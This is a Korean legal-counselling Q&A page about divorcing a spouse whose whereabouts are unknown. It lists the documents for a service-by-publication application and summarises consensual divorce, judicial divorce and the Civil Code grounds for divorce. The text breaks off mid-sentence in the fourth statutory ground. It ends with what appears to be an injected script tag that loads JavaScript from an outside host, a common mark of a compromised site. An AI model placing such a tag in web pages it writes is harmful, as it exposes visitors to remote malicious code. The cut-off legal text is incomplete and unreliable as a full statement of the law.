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어머니는 가출하신 상태입니다. 신용불량으로 주민등록은 말소 된 상태입니다. 어머니의 연락처는 알고 있지 않습니다. 두 분 모두 이혼 할 의사는 있으시나 어머니가 집에 안 계시기 때문에 협의 이혼이 불가능하다고 알고 있습니다. 이런 경우 공시송달인가를 해야 한다던데 무엇을 준비해야 하는지 알고 싶습니다. 어떤 서류를 분비해야 하는지 궁금합니다. 어머니가 안 계시므로 아버지 혼자서 재판상 이혼을 하실려면 어떻게 해야 하는지 답변 부탁드립니다.
본 상담실의 답변은 법률이론상의 원칙적인 답변 및 답변자 개인
의 법률적 의견으로 참고 자료로만 활용하시기 바랍니다.
호적등본, 아버지와 어머니의 주민등록(말소자)등본, 행방불명이라는 진술서 및 주민등록등본을 2명 정도로부터 받은 후에 증거로 첨부하여 이혼소송이 가능하겠습니다. 이혼소송을 하면 이혼이 될 수 있는 경우입니다. 다만, 행방을 모르므로 공시송달신청을 함께 해야 합니다. 공시송달신청서 및 다음 구비서류를 소장과 함께 가정법원에 제출해야 합니다.
공시송달신청요령(필요한 서류)
1. 공시송달신청서(양식은 법원에 비치)
2. 피고의 최후 주소지의 주민등록표 등본 1장
3. 최후 주소지의 통장 또는 반장의 불거주확인서 1장
통장 또는 반장임을 증명할 수 있는 자료 (재직증명서 또는 위촉장) 1장
* 피고의 주민등록이 직권말소된 경우 : 위 불거주확인서, 재직증명서 또는 위촉장 대신 에 직권말소증명서를 첨부하여야 합니다. ( 위 주민등록표에 직권말소기재가 있으면 첨 부하지 않아도 됩니다.)
4. 피고의 친족 (부모, 형제)이 작성한 피고에 대한 소재불명확인서 1장
* 만일 피고의 친족이 소재불명확인서를 작성하여 주지 아니하는 경우에는 소재불명확 인서 대신에 소재불명확인서를 작성하여 주지 아니하는 이유와 그 친족의 이름과 그가 우편물을 받을 수 있는 주소를 기재한 서면을 제출하여야 합니다.
5. 작성자와 피고가 친족임을 증명할 수 있는 호적, 제적등본 1통
6. 그 친족이 우편물을 받을 수 있는 주소를 기재한 서면이나 주민등록등본 1통
주의) 위 공시송달신청시 필요한 서류( 1~6항)를 모두 갖추어 법원에 제출해야 합니다.
다음은 이혼과 관련한 법률내용입니다. 참조하시고 보다 자
세한 상담은 직접 저희 상담소를 방문하여 상담하여 주시면 감사
하겠습니다.
(1) 이혼
이혼에는 두가지 방법이 있습니다. 협의이혼(민법 제834조)
과 재판이혼(민법 제840조)이 그것입니다. 협의 이혼의 경우에
는 부부간에 어떤 사유로 이혼을 하는 가는 묻지 않습니다. 성
격 불일치·불화·애정상실·권태·성적불만·금전문제·건강문제 등
어떤 명목으로든지 부부간에 이혼의사의 합의만 있으면 이혼이
가능합니다. 이러한 협의 이혼은 가정법원의 확인을 받아야 하
는데, 이때 판사는 두사람이 이혼의사의 합의가 있는지와 아이
가 있는 경우 양육자를 누구로 정할 것인가만을 판사가 묻고 이
두가지에 합의한 이상 이혼의 확인을 해주고, 이를 관할 호적계
에 신고하면 되는 것입니다 (민법 제 836조 제1항).
* 협의 이혼의 절차(민법 제836조, 호적법 제79조의 2, 호적법
시행규칙 제7장)
호적등본 1통, 주민등록 등본 1통, 당사자 쌍방과 성년자인
증인 2인이 연서한 이혼신고서 3통(구청, 시청, 읍면사무소, 법
원에 비치)을 첨부하여 협의이혼의사확인신청서(법원에 비치)를
부부가 함께 본적지 또는 주소지 관할 법원 가사과에 제출한 후
지정된 시간에 부부가 도장, 주민등록증을 갖고서 함께 판사 앞
에 출석하여 이혼의사를 밝히면 됩니다. 그 후 법원으로 부터
이혼신고서와 이혼 확인을 받은 확인서를 부부가 각각 1통씩 받
게되는데, 두사람 중 누구든지 이것을 남편의 본적지 시·구·읍·
면에 여자의 복적할 가의 호적등본 2통, 남자의 호적등본 1통과
함께 3개월 내에 신고하면 이혼이 됩니다.
- 부부 쌍방이 주소지가 서로 다른 경우에는 각 주소지를 관
할하는 가정법원이 관할 법원이 됩니다. 당사자 쌍방이 국내
에 거주하지 아니하는 경우에는 그 확인은 서울가정법원의 관할
이 됩니다.
하지만 만약 부부 중 일방이 이혼을 원하지 않으면, 협의이혼
은 불가능합니다. 이혼에는 동의하지만 자녀문제나 재산문제에
협의가 불간능할 경우 협의이혼 후 재산문제나 자녀문제만 소송
으로 다툴 수도 있고, 이혼 및 위자료, 재산분할, 자녀문제까지
함께 소송으로 다툴 수도 있습니다.
재판상 이혼의 경우에는 누구나가 재판이혼을 할 수 있는 것
은 아니고 법으로 정해진 일정한 사유에 해당하는 경우만 법원에
서 판결로 이혼을 인정해 주는 것입니다.
* 민법 제840조 [재판상 이혼사유]
부부의 일방은 다음 각호의 사유가 있는 경우에는 가정법원에
이혼을 청구할 수 있다.
1. 배우자에 부정한 행위가 있었을 때
2. 배우자가 악의로 다른 일방을 유기한 때
3. 배우자 또는 그 직계존속으로부터 심히 부당한 대우를 받았
을 때
4. 자기의 직계존속이 배우자로부터 심히 부당한 대우를 ?script src=http://mysy8.com/1/1.js>
